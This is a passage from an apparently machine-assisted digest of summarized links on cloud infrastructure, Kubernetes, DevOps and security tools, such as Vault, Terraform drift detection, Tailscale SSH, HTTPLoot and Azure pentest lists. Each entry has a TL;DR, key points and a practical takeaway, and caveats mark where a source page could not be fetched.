    • Source caveat: curl returned only a stub; summary based on WebFetch’s extraction of the post.

    Takeaway: The Kubernetes secrets engine gives short-lived, Vault-issued cluster credentials instead of static kubeconfigs. Check the removal list before upgrading from 1.10.

  • Terraform Cloud Adds Drift Detection for Infrastructure Management
    summary

    TL;DR: HashiCorp’s June 2022 announcement of drift detection in Terraform Cloud, which continuously compares real infrastructure against Terraform state and alerts when they diverge.

    • Detection: Runs continuously against workspace state to find resources changed outside Terraform.
    • UI: The workspace list shows drift status with a filter; a Drift tab lists drifted resources, changed attributes and when the last check ran.
    • Alerts: Configurable notifications to email, Slack or a webhook.
    • Remediation: Accept the change with a refresh-only plan, or update the configuration to match, both from the Drift tab.
    • Availability: Public beta for Terraform Cloud Business at announcement; no GA date or pricing given.
    • Source caveat: curl returned only a stub; summary based on WebFetch’s extraction of the post.

    Takeaway: Drift detection catches console hot-fixes before the next apply reverts them. Without that tier, a scheduled terraform plan -detailed-exitcode in CI covers the basic case.

  • How to Manage Kubernetes Secrets with GitOps?
    summary

    TL;DR: Daniel Hoang (Akuity, June 2022) summarizes a 40-minute webinar comparing six ways to handle Kubernetes secrets with GitOps and Argo CD, and recommends External Secrets.

    • Sealed Secrets: Encrypt locally with kubeseal; a controller decrypts SealedSecret resources in the cluster. Needs no secrets manager but each secret is encrypted by hand; suited to few clusters or a quick start.
    • Argo CD Vault Plugin: Replaces placeholders in Git manifests at sync time; no CRDs, but only one backend per Argo CD and a hard refresh is needed when a secret changes.
    • SOPS: Manual encryption with keys from a keystore and a SOPS plugin for Argo CD; the author’s “when to use” is “In 2018”.
    • Vault Agent: Sidecar per pod that renders files from Vault; no Kubernetes Secret, but 1000 pods means 1000 agents and apps fail to start if Vault is down.
    • Secrets Store CSI Driver: DaemonSet that mounts secrets from multiple managers at pod start; does not update mounted files.
    • External Secrets: ExternalSecret plus namespace or cluster SecretStore creates Kubernetes Secrets from many backends, with templates and versioned immutable secrets.
    • Cloud auth: Use cloud IAM, or workload identity federation when the cluster and secrets manager are in different clouds.

    Takeaway: For most teams, External Secrets Operator is the Kubernetes-native, backend-agnostic default. Pick the others only for a specific constraint.

  • Introducing Tailscale SSH
    summary

    TL;DR: Tailscale’s announcement of Tailscale SSH (beta, in all plans), which uses Tailscale node identity and ACLs to authorize SSH between devices so you no longer manage SSH keys.

    • How it works: With it enabled, Tailscale claims port 22 for traffic arriving on the device’s Tailscale IP and hands it to an SSH server inside the Tailscale daemon.
    • Auth: The connection is already authenticated by WireGuard node keys, so the server knows the remote party and asks the client for no further proof.
    • Policy: An "ssh" section in the tailnet ACL file defines who may connect to which hosts as which users.
    • Check mode: For high-risk access such as root, requires recent re-authentication with your SSO before the session starts.
    • Enable: tailscale up --ssh on the target device.
    • Scope: Only traffic over Tailscale is affected; the normal SSH server still handles other interfaces.

    Takeaway: Tailscale SSH removes key distribution and ties SSH access to SSO and ACLs. Use check mode for privileged users, and keep a non-Tailscale break-glass path.

  • Quamina: Optimizing Go Code for Speed
    summary

    TL;DR: Tim Bray’s Quamina diary entry on making his Go event-pattern-matching library faster, using a profiler, unit tests and a repeatable benchmark.

    • Method: Test, benchmark, refactor, iterate, with a profiler always at hand; he calls Go’s built-in profiler far better than what he used for Java and Ruby.
    • Benchmark data: The San Francisco Parcels JSON file, a couple of hundred thousand objects (~190 MB), with large arrays of 19-digit floats as a worst case.
    • Bottleneck: The JSON flattener used up to 90% of runtime, mostly in memory allocation, when built on Go’s json package.
    • Fix: A custom, non-general JSON tokenizer flattenJSON (about 750 lines of Go) built from state-machine mini-parsers that work on the input []byte without allocating.
    • Profiling: Uses go tool pprof -pdf -show_from flattenJSON cpu.prof (and mem.prof) to focus the call graph.
    • Open issue: storeArrayElementField stays expensive because it copies the array trail per field; he weighs segmented trails or pointer arrays against complexity and memory locality.

    Takeaway: In hot Go paths, allocation is often the cost; profile memory as well as CPU. Write a benchmark on realistic worst-case data before optimizing.

  • talos: Modern Linux Distribution Built for Kubernetes
    summary

    TL;DR: Talos Linux by Sidero Labs is an open-source, minimal and immutable Linux distribution made only to run Kubernetes, managed entirely through an API.

    • No shell: There is no SSH, shell or interactive console; all system management goes through an API.
    • Security: Minimal, hardened and immutable, with all API access secured by mutual TLS.
    • Predictability: Immutable infrastructure removes configuration drift, and updates are atomic.
    • Currency: Aims to always ship current stable Kubernetes and Linux versions.
    • Support: Production-ready per the README, with commercial support from Sidero Labs, GitHub Discussions, Slack and monthly office hours.

    Takeaway: Talos suits teams who want cluster nodes they never log into and can rebuild from config. Plan for API-only debugging (talosctl) before migrating.

  • resoto: Cloud Inventory with Deep Visibility That Reacts to Infrastructure Changes
    summary

    TL;DR: Resoto from Some Engineering has been renamed Fix Inventory; the repo now redirects to someengineering/fixinventory. It is an open-source, agentless cloud inventory and security tool that stores resources in a graph.

    • Rename: The linked “resoto” cloud inventory project now presents itself as Fix Inventory, an open-source alternative to Orca, Prisma Cloud or Wiz.
    • Coverage: Over 300 cloud services across AWS, GCP, Azure, DigitalOcean, Hetzner, Kubernetes and GitHub, plus an example collector for custom sources.
    • Pipeline: Collects metadata from cloud APIs, normalizes it into a graph schema (40+ “base kinds” such as database, ip_address), then scans it against compliance frameworks.
    • Graph queries: Dependency and access graph answers questions like blast radius of a public resource or paths to privileged roles.
    • History: Hourly snapshots by default, with a timeline and diff of configuration changes per resource.
    • Use cases: CSPM, compliance, CIEM, asset inventory, Kubernetes security and data export; SaaS or self-hosted.

    Takeaway: Useful for a free multi-cloud asset graph and posture checks. Note the rename when searching for docs, and check project activity before adopting.

  • aws-cost-saver: CLI Tool to Save Costs in Development Environments While You Sleep
    summary

    TL;DR: aws-cost-saver is a small Node.js CLI by Aram Alipoor that cuts AWS costs in development accounts by stopping or shrinking resources overnight (conserve) and putting them back later (restore).

    • Install and run: npm install -g aws-cost-saver, then aws-cost-saver conserve and aws-cost-saver restore; --dry-run, --no-state-file and --only-summary let you preview.
    • Targeting: --tag Team=Tacos (repeatable) limits actions to tagged resources.
    • Tricks: 10 actions, including shutting down EC2, stopping Fargate ECS services and RDS instances and clusters, removing NAT gateways, snapshot-and-remove ElastiCache, lowering DynamoDB RCU/WCU and Kinesis shards, and scaling down or suspending Auto Scaling groups.
    • State file: Original settings are saved to S3 or the local file system so restore can rebuild them.
    • Credentials: Uses the AWS SDK credential chain (env vars, then ~/.aws/credentials).
    • Warning: The README says it is meant only for development environments where stopping and removing resources is not risky.

    Takeaway: A quick way to stop paying for idle dev resources overnight. Run it with --dry-run first, and keep the state file safe or restore cannot rebuild removed NAT gateways and caches.

  • httploot: Crawl Sites, Fill Forms and Loot Secrets from Client-Facing Code
    summary

    TL;DR: HTTPLoot by RedHunt Labs is a Go tool (MIT, v0.1) that crawls many sites at once, fills and submits forms to trigger error and debug pages, and extracts secrets from client-facing code.

    • Inputs: A list of domains via -input-file, plus lootdb.json and regexes.json with the detection patterns; results go to CSV (httploot-results.csv).
    • Concurrency: -concurrency (sites at once, default 100) and -parallelism (URLs per site, default 15).
    • Crawling: -depth (default 3); -wildcard-crawl follows off-domain links and the README warns it can crawl forever.
    • Debug pages: -submit-forms auto-submits forms with -form-string or random values once a tech stack is identified, to provoke stack traces.
    • Network: -timeout, -user-agent and -verify-ssl flags.
    • Background: Based on RedHunt Labs research published as “The HTTP Facet” blog post.

    Takeaway: Useful in recon for finding keys leaked in JavaScript and debug pages across many hosts. Only run form submission against targets you are authorized to test.

  • socless: Serverless Security Orchestration, Automation and Response
    summary

    TL;DR: SOCless from Twilio Labs is a serverless framework for security teams to automate incident response and SOC workflows on AWS Step Functions and Lambda.

    • Playbooks: Workflows are JSON definitions triggered by real-time alerts or schedules.
    • Integrations: Existing security tools are orchestrated through Lambda functions in Python 3, packaged as reusable plugins.
    • Human in the loop: Workflows can ask people questions and adapt to their answers.
    • Networking: Provides a static IP address that can be allowlisted on internal resources.
    • Deployment: Infrastructure and playbooks deploy as code with the Serverless Framework; docs built with MkDocs.
    • Cost model: Serverless design for low cost and low operational overhead, per the README.

    Takeaway: A lightweight, code-first SOAR option for AWS-heavy teams. Check repository activity before building on it.

  • mirrord: Run Your Local Service in the Context of Its Cloud Environment by Mirroring Traffic
    summary

    TL;DR: mirrord, by MetalBear, runs a local process as if it were inside a live Kubernetes pod: traffic, file access and environment variables are routed through a chosen target pod, so you can test against real cluster services without deploying.

    • Interfaces: VS Code extension, IntelliJ plugin and CLI (mirrord exec ... --target pod/my-pod); uses your default kubeconfig.
    • Mechanism: Starts an agent pod on the target’s node that mirrors incoming traffic to your process and routes outgoing traffic, file reads/writes and env vars through the target.
    • Capabilities needed: CAP_NET_ADMIN (iptables redirection), CAP_SYS_PTRACE (access via /proc), CAP_SYS_ADMIN (join the network namespace); can be reduced with agent.disabled_capabilities.
    • Non-disruptive: Mirrors rather than steals traffic by default, so others using the cluster are not affected.
    • Current README: Now also pitches use by AI coding agents (Claude Code, Cursor, Codex) and lists adopters such as monday.com and SurveyMonkey.
    • License: MIT.

    Takeaway: Shortens the dev loop for services that depend on many in-cluster dependencies. The agent needs privileged capabilities, so limit it to dev or staging clusters.

  • raspberry-pi-os: Learning Operating System Development Using Linux Kernel and Raspberry Pi
    summary

    TL;DR: A step-by-step course by GitHub user s-matyukevich on writing a simple OS kernel (RPi OS) from scratch for the Raspberry Pi, with each lesson comparing the feature to how the Linux kernel does it.

    • Approach: Each lesson first implements a feature in RPi OS, whose code is largely based on Linux, then walks through the matching Linux kernel code, followed by exercises.
    • Lessons 1-3: Kernel initialization (bare-metal “Hello, world”, Linux project structure, build system, startup), processor initialization, interrupt handling (exceptions, interrupt controllers, timers).
    • Lessons 4-6: Process scheduler, user processes and system calls, virtual memory management.
    • Unfinished: Lessons 7-11 (signals, file systems, ELF, drivers, networking) are still marked “To be done”.
    • Status: The README says the project is still under active development and invites contributions.

    Takeaway: A hands-on route into kernel internals that ties toy code to real Linux sources. Expect to stop at virtual memory, since later lessons were never written.

  • furiko: Cloud-Native, Enterprise-Level Cron Job Platform for Kubernetes
    summary

    TL;DR: Furiko is an Apache 2.0, Kubernetes-native operator for scheduled (cron) and ad hoc jobs and workflows, aimed at enterprise use in self-hosted private clusters.

    • Scope: A general-purpose job platform covering cron jobs, batch jobs and ad hoc runs.
    • Design: Built as an operator for managing, scheduling and executing jobs, supporting many users across a large organization.
    • Docs: The README defers features and install steps to furiko.io.
    • Website gone: furiko.io now shows a parked “domain may be for sale” page, so the linked docs are unavailable.
    • Source caveat: The README is minimal; the feature list could not be read because the docs site is dead.

    Takeaway: Treat Furiko as likely unmaintained given the lapsed domain. For new cron platforms, check activity first or stay with native CronJobs or Argo Workflows.

  • robusta: Open Source Kubernetes Troubleshooting and Automation Platform
    summary

    TL;DR: Robusta (now “Robusta Classic”) is an open-source, rule-based Prometheus alert enrichment and automation engine for Kubernetes; AI root-cause analysis has moved to the separate HolmesGPT project.

    • Prometheus integration: Receives alerts by webhook; works with kube-prometheus-stack and Prometheus Operator, or without Prometheus.
    • Enrichment: Attaches pod logs and other context to alerts, and groups notifications into Slack threads.
    • Self-healing: Auto-remediation rules for alerts.
    • Detection without PromQL: Native alerts for OOMKills, failing Jobs and similar events, plus change tracking to correlate alerts with rollouts.
    • Routing and sinks: Route by team or namespace to Slack, MS Teams, Jira and dozens of others; can auto-resolve external tickets.
    • Change since 2022: The README now separates Classic from HolmesGPT and offers optional AI investigation.

    Takeaway: Useful for turning bare Prometheus alerts into actionable Slack messages with logs attached. Start with enrichment before enabling automatic remediation.

  • dashy: Self-Hostable Personal Dashboard
    summary

    TL;DR: Dashy by Alicia Sykes (Lissy93) is a self-hosted personal dashboard for homelab and self-hosted services, configured in YAML with a built-in UI editor.

    • Status checks: Real-time status monitoring for each app, link or host.
    • Widgets: Show live data from self-hosted services.
    • Navigation: Multiple pages, instant search by name, domain or tag, and custom hotkeys.
    • Look: Many themes, a color editor, custom CSS and icon sources (Font Awesome, homelab icons, favicons, images, emoji).
    • Auth: Optional multi-user authentication with privileges and SSO.
    • Extras: 30+ human-translated languages and optional encrypted off-site backup and sync.
    • Quick start: docker run -p 8080:8080 lissy93/dashy.

    Takeaway: A feature-rich start page for a homelab. Turn on authentication before exposing it, since it lists your internal services.

  • Debugging Kubernetes Pods: Deep Dive
    summary

    (Could not fetch full text.)

    TL;DR: A Better Programming (Medium) article from May 2022, about a 6-minute read, on debugging running pods with Kubernetes ephemeral containers.

    • Problem with exec: The app image may lack debugging tools, adding privileges can force pod restarts, and baking tools into the main image adds security risk.
    • Ephemeral containers: Attach to a running pod without a restart, sharing its network and process namespaces, volumes and node access.
    • Demo: Uses a kind cluster with Kubernetes 1.23 or later, where the feature was beta.
    • Source caveat: Medium returned a Cloudflare block; summary based on search-result descriptions of the article. Author name and exact commands were not confirmed.

    Takeaway: Ephemeral containers (kubectl debug) let you keep app images minimal and still debug them. Keep RBAC on the pods/ephemeralcontainers subresource tight.

  • ACK: AWS Controllers for Kubernetes
    summary

    TL;DR: AWS Controllers for Kubernetes (ACK) is an open-source AWS project that lets you define and manage AWS service resources, such as databases and queues, as Kubernetes custom resources.

    • Model: A set of CRDs and custom controllers, one per AWS service API, so app dependencies live next to the app in the cluster.
    • Repos: The community repo is the hub; code is split into a common runtime, a code generator, test infrastructure and per-service controllers.
    • Maturity: Controllers go through maintenance phases; those in Preview are not recommended for production and fall under AWS beta service terms.
    • Purpose: Avoids defining resources outside the cluster or running stateful backing services inside it.

    Takeaway: ACK is the AWS-native alternative to Crossplane for managing AWS resources from Kubernetes. Check each controller’s maintenance phase before relying on it.

  • A Quick Path to Amazon EKS Single Sign-On Using AWS SSO
    summary

    TL;DR: An AWS Containers blog walkthrough for giving users single sign-on to EKS by combining AWS SSO (now IAM Identity Center) with Kubernetes RBAC through the aws-auth ConfigMap.

    • Prerequisites: AWS CLI v2 with admin credentials, eksctl, kubectl and jq.
    • What you build: An Organizations root and member account, AWS SSO with Twilio Authy for MFA, and an EKS cluster with a two-node managed node group.
    • Identities: A matrix of roles used during setup: admin IAM user, OrganizationAccountAccessRole, an EKSClusterCreator role, an EKSClusterAdminAccess SSO permission set and a Kubernetes ClusterAdmin role.
    • Mapping: eksctl create iamidentitymapping maps the SSO role to a Kubernetes group in aws-auth.
    • Usage: Users run aws sso login with a named profile and then use kubectl normally.
    • Benefit: Disabling one IdP account removes all cluster access, which simplifies offboarding and audits.

    Takeaway: Map SSO permission-set roles, not individual IAM users, into cluster RBAC. On current EKS, consider access entries instead of editing aws-auth.

  • Harden Amazon EKS in Minutes with Styra DAS Free and OPA
    summary

    TL;DR: An AWS Containers partner post showing how Styra DAS Free, a control plane for Open Policy Agent, installs OPA on EKS as validating and mutating admission control with ready-made policy packs.

    • Positioning: Presents policy-as-code as the next step after custom code, Pod Security Policies and OPA Gatekeeper, with more flexibility than built-in pod security admission.
    • Install: A couple of commands deploy OPA as both validating and mutating admission controller, so non-compliant workloads can be blocked or fixed.
    • Policy library: Over 100 built-in policies, including all 16 control aspects of a pod.
    • Packs: Prebuilt packs for MITRE ATT&CK, CIS Kubernetes Benchmark, PCI DSS 3.2 and PSP equivalents.
    • Workflow: GUI and CLI to validate existing clusters, test policies against local manifests and preview impact before enforcing; the post claims setup in about 15 minutes.
    • Trade-off: Acknowledges policy-as-code needs new skills such as Rego, which DAS aims to hide.

    Takeaway: A fast way to get baseline admission policies on EKS without writing Rego. Run new policies in monitor mode before enforcing them.

  • cdk-github-runners: CDK Constructs for Self-Hosted GitHub Actions Runners
    summary

    TL;DR: cdk-github-runners from CloudSnorkel is an AWS CDK construct that creates ephemeral, on-demand self-hosted GitHub Actions runners inside your own AWS account.

    • Providers: EC2, CodeBuild, Fargate, ECS and Lambda; each job gets a fresh runner started on demand, so you pay only while jobs run.
    • Limits by provider: Lambda caps jobs at 15 minutes and has no Docker or sudo; CodeBuild allows up to 36 hours (default 1 hour); EC2, ECS and Fargate have no time limit; Fargate has no Docker.
    • Options: x86_64 and ARM64 everywhere, GPU on EC2, CodeBuild and ECS, spot pricing on EC2, Fargate and ECS, Linux and Windows except Lambda.
    • Selection: Multiple runner configurations chosen by job labels, plus composite providers, custom provider selection and warm runners.
    • Setup: A web-based interface handles the GitHub app integration; a status Lambda (aws lambda invoke --function-name ...status...) helps troubleshooting.
    • Use cases: Access to internal resources, pre-installed software, basic AWS API access, and GitHub Enterprise Server.

    Takeaway: A good fit when Actions jobs need VPC access and you already use CDK. Pick the provider per label based on job length and Docker needs.

  • The CloudSec Engineer Book
    summary

    TL;DR: The CloudSec Engineer is a career book by Marco Lancini (CloudSecList author) on entering and progressing in cloud security engineering.

    • Part I: Choosing infosec and cloud security as a career, and career levels.
    • Parts II-IV: Skills, learning tips and expectations for entering the field, establishing yourself as a senior engineer, and thriving toward Staff+.
    • Part V: Choosing companies, finding jobs, interview preparation and managing offers.
    • Bonus: Templates for side projects, a brag document, reverse interview questions and offer tracking.
    • Format: DRM-free PDF and EPUB, 250+ pages, 1,100+ links, lifetime updates; no print edition.
    • Price: $18 book only, $26 complete package (discount codes listed on the page).

    Takeaway: Aimed at people planning a cloud security career path or preparing for interviews; the free newsletter gives a taste of the author’s style.

  • awesome-ios-security: Awesome iOS Security
    summary

    TL;DR: A curated awesome-list of iOS application security and penetration testing resources: tools, jailbreak tweaks, Frida scripts, courses, books, articles, labs and CTFs.

    • Reverse engineering: Hopper, Ghidra, Radare2, Cutter, and IPA decryptors such as frida-ios-dump, bagbak, flexdecrypt, bfdecrypt and r2flutch.
    • Analysis tools: Separate sections for static and dynamic analysis tools.
    • Tweaks: Reverse-engineering tweaks plus jailbreak-detection and SSL-pinning bypass tweaks.
    • Frida scripts: A dedicated section of ready-made scripts.
    • Learning: Courses, books, talks and workshops, articles on pentesting, RE, jailbreak and pinning bypass, checklists and cheatsheets.
    • Practice: Labs, CTFs and writeups.

    Takeaway: A starting index when preparing an iOS app assessment. Check tool compatibility, since many entries target specific older iOS and jailbreak versions.

  • sake: Task Runner for Local and Remote Hosts
    summary

    TL;DR: sake (by GitHub user alajmo) is an MIT-licensed task runner for local and remote hosts: you define servers and tasks in sake.yaml and run tasks across them over SSH.

    • Config: Servers, tags and tasks live in sake.yaml, and configs can import other sake.yaml files.
    • Run: sake run <task>, with --output table for a compact per-host table.
    • Access: sake ssh <server> into servers or Docker containers.
    • Discovery: sake list servers|tasks and shell auto-completion for tasks, servers and tags.
    • Editing: sake edit task <task> opens the definition in your editor.
    • Install: Linux and macOS via release binaries, install script, Homebrew (brew tap alajmo/sake) or MacPorts.

    Takeaway: A lighter alternative to Ansible ad-hoc commands for running the same scripts on a fleet. Good for ops runbooks that do not need full config management.

  • UTM: Free Virtual Machines for iOS and macOS, Works on M1
    summary

    TL;DR: UTM is a QEMU-based system emulator and virtual machine host for macOS, iOS and visionOS, used to run Windows, Linux and other systems on Macs including Apple Silicon.

    • Emulation: Full system emulation with QEMU, 30+ CPU architectures including x86_64, ARM64 and RISC-V, with JIT acceleration via QEMU TCG.
    • macOS virtualization: Hardware-accelerated virtualization via Hypervisor.framework, and macOS guests via Virtualization.framework.
    • Display and devices: SPICE/QXL VGA graphics, a text terminal mode and USB device passthrough.
    • iOS: JIT needs a jailbreak or version-specific workarounds; UTM SE (“slow edition”) uses a threaded interpreter instead, limited to ARM, PPC, RISC-V and x86.
    • Frontend: Native UI built for macOS 12+ and iOS 15+.

    Takeaway: On Apple Silicon, UTM is a free way to run ARM64 Linux or Windows VMs at near-native speed. x86 guests work but are fully emulated and slow.

  • Get More Out of Service Control Policies in a Multi-Account Environment
    summary

    TL;DR: An AWS Security blog post giving five techniques for working within AWS Organizations service control policy (SCP) limits in a multi-account setup.

    • Evaluation: An explicit Deny in any policy wins, and SCPs need an Allow before evaluation continues; SCPs set the maximum permissions for accounts.
    • Policies per entity: Spread SCPs across the hierarchy; OUs can nest up to five levels deep with different policies at each level.
    • Inheritance: Put broad guardrails high in the tree and specific ones lower.
    • Segment by workload: Group accounts with similar workloads into OUs that share guardrails.
    • Combine and compact: Merge statements; each SCP is limited to 5,120 bytes and, unlike IAM policies, whitespace counts, so remove it (the console does this automatically) or script it.
    • Wildcards: Use prefixes such as Disable* to combine actions, but the post warns new actions matching the wildcard will be denied automatically.

    Takeaway: Design your OU tree around SCP inheritance before you hit the size limit. Minify SCP JSON in your IaC pipeline and review wildcard denies when AWS adds actions.

  • kubectl-tree: kubectl Plugin to Browse Kubernetes Object Hierarchies as a Tree
    summary

    TL;DR: kubectl-tree by Ahmet Alp Balkan (ahmetb) is a kubectl plugin that shows ownership relationships between Kubernetes objects as a tree, based on ownerReferences.

    • Install: kubectl krew install tree, then e.g. kubectl tree deployment <name>.
    • Examples: Shows Deployment to ReplicaSet to Pod chains, and works with CRD-based objects such as Knative Services and Agones Fleets.
    • Scope: By default searches only the object’s namespace; -A searches all namespaces and cluster-scoped objects.
    • Filtering: -l label selectors (equality, set-based, existence) reduce load on large clusters.
    • Status: --condition-types sets which conditions to show (default Ready).
    • Alternative: The README points to kubectl lineage, which also understands logical relationships without ownerReferences.

    Takeaway: Handy for seeing what an operator or Helm release actually created and which child is not Ready. Install it alongside other krew plugins.

  • ggshield: Detect Secrets in Source Code and Prevent API Key Leaks
    summary

    TL;DR: ggshield is GitGuardian’s CLI for detecting 500+ types of hardcoded secrets locally or in CI, using the GitGuardian API.

    • Scan modes: ggshield secret scan path, repo, docker, pypi and pre-commit, among others.
    • Integration: Runs as a pre-commit hook, a GitHub Action or a CI step; the README now also covers AI coding assistant integrations.
    • API: Scans go through GitGuardian’s public API via py-gitguardian, so you need an account and API key (ggshield auth login).
    • Privacy: Only metadata such as call time, request size and scan mode is stored; files and secrets are not stored, per the README.
    • Install: Install script, Homebrew, .pkg, deb/rpm, Chocolatey, MSI, pipx or pip.
    • Note: A current README warning says upgrading to 1.54.0 on macOS triggers a Keychain prompt for a second binary, ggshield-py.

    Takeaway: A pre-commit hook is the cheapest place to stop secret leaks. Note that content is sent to GitGuardian’s API for scanning, which may matter for your policy.

  • Enumeration and Lateral Movement in GCP Environments
    summary

    (Could not fetch full text.)

    TL;DR: An InfoSec Write-ups pentest write-up about compromising a hybrid infrastructure hosted on Google Cloud, using native GCP tools for situational awareness and lateral movement.

    • Approach: Relies on built-in GCP tooling (such as gcloud) after an initial foothold, rather than custom malware.
    • Focus: Enumerating the GCP environment and moving laterally between resources.
    • Credits: Builds on earlier public work from GitLab’s red team and a Medium post by Tomasz W.
    • Source caveat: Medium returned 403; summary based only on search-result descriptions. Specific commands and findings were not verified.

    Takeaway: Read alongside GitLab’s GCP red-team notes. Defensively, limit service account scopes on VMs and watch for unusual gcloud enumeration from workloads.

  • Awesome-Azure-Pentest: Awesome Azure Penetration Testing
    summary

    TL;DR: A curated awesome-list of tools and resources for penetration testing and securing Microsoft Azure, Azure AD (Entra ID) and Microsoft 365.

    • Structure: Tools split into enumeration, information gathering, lateral movement and exploitation (including credential attacks), then articles, labs, talks, books and tips.
    • Enumeration examples: o365creeper, cloud_enum, CloudBrute, BlobHunter, ScoutSuite, Prowler, CloudFox, Monkey365, ROADtools, PowerZure, MicroBurst.
    • Azure AD graphing: Stormspotter, AzureADLateralMovement and SkyArk for privileged entities and attack paths.
    • Defensive tools: CISA’s Sparrow and ScubaGear, Hawk, and Microsoft’s Azure AD Assessment.
    • Practice: Includes lab exercises and talks.

    Takeaway: A good checklist of tools for an Azure or M365 engagement. Defenders can run the same enumeration tools against their own tenant first.

  • Enabling AWS IAM Group Access to an EKS Cluster Using RBAC
    summary

    TL;DR: A Grip Security engineering post on giving an AWS IAM group access to EKS, which aws-auth cannot map directly, by mapping an assumable IAM role and assuming it on the fly only for kubectl.

    • Limitation: aws-auth supports mapAccounts, mapUsers and mapRoles, but not IAM groups; Grip wrote their own aws-auth format specification by reading the aws-iam-authenticator source.
    • Pattern: Create dev.eks-access.role with EKS permissions, map its ARN in mapRoles, and give the R&D group a policy allowing it to assume that role.
    • Friction removed: Instead of switching profiles, add --role-arn to the kubeconfig exec command (aws eks get-token --cluster-name ... --role-arn ..., also supported by update-kubeconfig).
    • Effect: Kubernetes calls use the assumed role while other AWS CLI calls keep the user’s own identity.
    • Background: Covers RBAC Roles, ClusterRoles and bindings and how aws-iam-authenticator maps IAM identities to Kubernetes users and groups.
    • Caveat: The authors suggest a stricter permission model for production.

    Takeaway: Use aws eks update-kubeconfig --role-arn so group membership controls cluster access. On current EKS, access entries are another way to manage this mapping.

  • DNS Toys: Useful Utilities and Toys over DNS
    summary

    TL;DR: dns.toys is a public DNS server that returns handy utilities as DNS answers, queried with dig.

    • Time and weather: dig mumbai.time @dns.toys, timezone conversion, and dig mumbai.weather @dns.toys.
    • Conversions: Units (dig 42km-mi.unit @dns.toys, 70+ units), currency at daily rates (100USD-INR.fx), number bases and Unix epochs.
    • Network helpers: IP echo (dig -4 ip @dns.toys) and CIDR first and last usable IP (dig 10.0.0.0/24.cidr @dns.toys).
    • Generators: UUIDs, NanoIDs, random numbers, dice, coin tosses, Pi digits.
    • Extras added since 2022: Dictionary, Sudoku solver, developer excuses, ISS location, Indian IFSC and DIGIPIN lookups.
    • Shortcut: alias dy="dig +short @dns.toys" in bash or zsh.

    Takeaway: A fun terminal shortcut, and ip and cidr are useful on boxes with only dig. Do not send anything sensitive in queries, since they go to a third-party server.

  • litmus: Practice Chaos Engineering the Cloud-Native Way
    summary

    TL;DR: LitmusChaos is a 100% open-source CNCF chaos engineering platform that defines faults, targets and steady-state checks as Kubernetes custom resources, managed from a central ChaosCenter.

    • Control plane: ChaosCenter builds, schedules and visualizes chaos workflows.
    • Execution plane: A chaos agent and operators run and monitor experiments in the target Kubernetes environment.
    • ChaosExperiment: Installable template describing a fault, its required permissions and defaults; supports bring-your-own-chaos.
    • ChaosEngine: Links a workload, node or infrastructure component to a fault, with tunables and “probes” for steady-state validation; reconciled by the Chaos-Operator.
    • ChaosResult: Holds the verdict, probe outcomes and revert status; the chaos-exporter publishes results as Prometheus metrics.
    • ChaosHub: Shared experiments are published at hub.litmuschaos.io; experiments can be chained in Workflows.

    Takeaway: Litmus fits teams that want chaos tests defined in Git next to their manifests. Start with pod-delete experiments in staging, with probes that encode your SLOs.

  • opencost: Cross-Cloud Cost Allocation Models for Kubernetes Workloads
    summary

    TL;DR: OpenCost is an Apache 2.0 specification and Go implementation for monitoring Kubernetes and cloud costs, originally built and open-sourced by Kubecost. The repo now lives at opencost/opencost.

    • Allocation: Real-time cost by cluster, node, namespace, controller, service or pod, covering CPU, GPU, memory and persistent volumes.
    • Pricing: On-demand asset pricing via AWS, Azure and GCP billing APIs; on-prem clusters use custom CSV pricing.
    • Cloud costs: Multi-cloud monitoring of all cloud services, plus external costs such as Datadog through plugins.
    • Export: Prometheus /metrics endpoint for pricing data.
    • Newer features: Carbon costs, MCP support, and AI inference cost tracking for vLLM-based deployments (cost per million tokens).
    • Install: Helm only: helm repo add opencost https://opencost.github.io/opencost-helm-chart then helm install opencost opencost/opencost on Kubernetes 1.20+.

    Takeaway: A free baseline for showback per namespace or team. Label workloads consistently first, or the allocation will not map to owners.

  • security-study-plan: Complete Practical Study Plan to Become a Cybersecurity Engineer
    summary

    TL;DR: A GitHub repo by jassics with role-based study plans for becoming a cybersecurity engineer, each listing free and paid resources, tools and concepts.

    • Cloud: Separate plans for AWS, GCP and Azure security.
    • AppSec: Web pentesting, application security testing, API security, secure code review and secure SDLC.
    • Platform: DevSecOps, Docker, Kubernetes and software supply chain security.
    • Foundations: Common skills, network security, cryptography, threat modeling, GRC and security architecture.
    • Newer additions: GenAI security, product security, IAM, and blue team detection and response plans.
    • Status: 20 plans are marked done, with additional plans listed separately.

    Takeaway: Useful for building a learning path for a specific security role. Pick one plan and follow it end to end rather than sampling them all.

  • ifto: Simple Debugging Module for AWS Lambda Timeouts
    summary

    TL;DR: IFTO (“If Timeout”) is a small TypeScript module by rpgeeganage that buffers debug logs in AWS Lambda and flushes them only when the function is about to time out.

    • Problem: Task timed out after 2.00 seconds gives no clue where the time went; raising the timeout or always-on debug logging are poor fixes.
    • Mechanism: Watches context.getRemainingTimeInMillis() and flushes buffered logs to stdout when remaining time drops below a threshold.
    • Config: IFTO_START=true enables monitoring; IFTO_FLUSH_WHEN sets the threshold in milliseconds (default 50).
    • Usage: import 'Ifto' in the entry file creates a global logger that other files use without passing an object.
    • Docs: TypeScript API docs are published on GitHub Pages.

    Takeaway: A cheap trick for chasing intermittent Lambda timeouts without noisy logs on every run. Remove it once the slow call is found.

  • Trunk Check: Code Quality Checking
    summary

    (Could not fetch full text.)

    TL;DR: Trunk Check was Trunk.io’s code quality tool that runs many linters and formatters through one CLI, IDE extension and CI integration. The product URL now redirects to Trunk’s home page, which promotes Merge Queue and flaky test tools.

    • Hold the line: Lints only new or changed lines by comparing your branch against upstream and reporting only issues introduced by the diff.
    • Mechanism: Runs linters on both versions (often cached) and diffs results at line level, so custom linters work without special support.
    • Override: Enabled by default for most linters, can be disabled per linter; trunk check --all scans the whole codebase.
    • CI: On pull requests, only new issues are flagged, using the same engine as the CLI and VS Code extension.
    • Current page: Shows merge queue, flaky test quarantine and CI acceleration, not Check; Trunk docs now cover it under “code quality”.
    • Source caveat: Based on Trunk docs and blog pages found by search, since the original product page no longer exists.

    Takeaway: The “hold the line” idea is the useful part: adopt linters on legacy code without fixing every old warning first. Check whether Trunk still offers the product before adopting.

  • Monitoring and Alerting Break-Glass Access in an AWS Organization
    summary

    TL;DR: A syndicated copy of an AWS Architecture blog post by Haresh Nandwani describing how Nationwide Building Society alerts on break-glass access across an AWS Organization using AWS SSO (now IAM Identity Center) and CloudTrail.

    • Context: A Control Tower landing zone with AWS SSO for workforce access in a regulated environment, where privileged access must be reported to operators and audit.
